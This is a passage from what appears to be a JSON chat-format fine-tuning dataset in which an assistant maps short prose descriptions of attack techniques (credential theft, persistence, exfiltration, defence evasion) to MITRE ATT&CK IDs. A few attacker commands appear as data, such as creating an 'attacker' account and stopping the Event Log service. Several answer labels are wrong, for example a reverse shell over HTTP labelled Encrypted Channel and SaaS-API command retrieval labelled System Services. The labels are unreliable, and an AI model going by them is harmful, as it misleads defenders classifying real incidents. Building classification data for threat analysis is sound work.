            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor uses Right-to-Left Override Unicode in its process name, making the malicious process appear as a legitimate Windows service."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor edited the logging policy in a Microsoft 365 tenant to stop export of audit logs."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping tool scans for browser-specific password databases and extracts authentication data."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user is prompted to run a PowerShell command copied from a malicious chat message, leading to system compromise."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses LoadLibrary via remote thread injection to load a malicious PE into the memory of a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider logs into a cloud VM via SSH from an external IP address, establishing a direct remote service connection."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a multi‑step approach: first they compress the data, then encode it, and finally exfiltrate it in numerous tiny packets to evade transfer size detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a rogue Chocolatey package to silently install a keylogger on developer machines during routine software updates."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invoked cmstp.exe to load a malicious driver, allowing it to execute arbitrary commands without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device is repurposed to mine cryptocurrency, contributing to a botnet's hash rate."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invokes net stop on the Event Log service, causing loss of logging capabilities for forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified the Google Cloud firewall policy via the gcloud CLI, allowing unrestricted inbound traffic to the web servers."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attached an executable that appeared as a .doc file by changing its extension."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software scans the Safari password store on macOS to obtain website login details."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses credential phishing to trick a user into revealing sensitive information about their account, what tactic does this represent?"
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor drops a script that monitors for the insertion of a particular USB device and automatically executes a payload when the device is detected, using an event‑triggered trap."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the COM activation mechanism to execute code in a different process, using inter‑process communication to control the target."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds a time-check that compares the system's time against a hardcoded future date, and only proceeds with credential theft after the date passes, preventing activation in temporary sandboxes."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a persistent reverse shell over HTTP to receive commands from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a legitimate SaaS API to pull JSON‑formatted commands from a cloud service account."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses administrative privileges to disable Windows System Protection and delete previously created restore points."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor rents a cloud storage bucket to exfiltrate stolen data."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary brute‑forces the password of a Gmail account and gains access to the victim’s email inbox."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineer calls a user, claims to be from the company's IT department, and asks for the user's Active Directory password to 'fix' a supposed issue."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code scans the local file system for *.pst and *.ost files and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor runs the 'ls -R /' command to recursively list all files and directories on the file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the adversary deploys a VNC client to pivot laterally to other systems on the same subnet."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs in‑flight alteration of API requests, changing parameters to achieve unauthorized actions on the server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen admin token, the intruder set up mail delegation for the attacker's account on all users in a specific OU via the Exchange Management Shell."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker attempts to stage data but provides an ambiguous description that could be mistaken for data compression."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group encrypts payloads with a simple Caesar shift, then further encodes the result using a custom binary‑to‑ASCII scheme before embedding it in HTTP headers."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task that reads GPP XML files from the domain controller to exfiltrate stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a serverless application introduced a hidden reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a vulnerable web service exposed to the internet by sending specially crafted requests that lead to remote code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary writes a base64‑encoded credential blob to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows API to load a malicious DLL into a legitimate process, using shared modules to execute code stealthily."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused default credentials on a MongoDB server to gain unauthorized database access."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hijack cloud service accounts and employ the provider's remote desktop gateway to control internal corporate devices."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses binary padding, inserting meaningless instructions and filler bytes to hide malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell one‑liner is sent via a social engineering call, convincing the user to execute it on their workstation."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting default SNMPv2c community strings, the attacker extracted MIB data, revealing firewall rules and interface details."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers use a botnet of compromised email servers to send large-scale spear-phishing campaigns targeting high-value organizations."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro repeatedly launches heavy computational tasks, leading to CPU starvation on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker introduces malicious code into a shared PowerShell module, causing all scripts that import the module to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a RAR archive of all gathered credentials for later transmission."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the attacker executes 'Clear-History' in PowerShell to wipe the user's command history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a botnet of hijacked servers to host phishing landing pages."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary intercepts and approves MFA push notifications to log in as a legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors registered a domain and configured their own DNS server to resolve it to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a rogue DLL in C:\\Program Files\\Common Files\\My App without quoting the path, causing a high-privilege service to load the malicious library via path interception."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use privileged access to overwrite backup metadata, rendering recovery procedures ineffective."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By patching the KernelCallbackTable, the adversary reroutes network I/O handling to a custom malicious driver."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to read files from a shared network printer spool directory."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a batch file that runs 'net user attacker /add' and then adds the user to the local Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages domain fronting by sending HTTPS requests to a CDN fronted by a popular website, using the SNI of the CDN but the HTTP Host header of the malicious destination."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a forged OAuth token to transfer stolen emails to a Google Workspace Drive owned by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, the adversary used a .chtml file to invoke the Windows utility mshta.exe with a malicious script URL, achieving persistence through system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies the private key and certificate chain from a compromised Linux host's /etc/ssl directory to create forged signatures."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a session hijacking attack on a web application by stealing session tokens from unsecured network traffic."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs offline cracking of AS‑REP hashes obtained from domain controllers for accounts with Kerberos pre‑authentication turned off."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scripts use the 'zip' utility to compress harvested data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan’s DGA leverages the victim’s system locale and a seeded pseudo‑random function to craft new domain names for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests information about Bluetooth devices paired with the compromised workstation."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a compressed archive (.zip) containing a Trojan executable, and the user extracts and runs the file, allowing the malware to execute."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 writes a sophisticated credential‑phishing toolkit with auto‑generation of domains."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a hidden service that periodically invokes ffmpeg to capture video from the default video device and stores the files in an encrypted archive."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages fallback channels, embedding commands in social media posts or tweets, to issue instructions to compromised hosts if typical C2 fails."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor places a custom SSP module in the system32 directory and updates the registry to load it at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the adversary wipes out scheduled jobs and crontab entries to eradicate indicators of their persistence setup."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script adds the attacker’s user to the built‑in Administrators group via net localgroup."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged a vulnerable library to force the system to use RSA keys of only 512 bits."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CDN endpoint serves a malicious script that leverages a browser bug to perform a drive‑by download of a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool overwrites the endpoint detection platform's indicator database, erasing signatures of the tools used by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested the KRBTGT account hash from the domain controller and used it to forge Kerberos tickets granting privileged access to any account."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers craft a phishing email with a link to a malicious website that tricks users into downloading a trojan."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder changes the domain's authentication policy to permit clear-text passwords."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
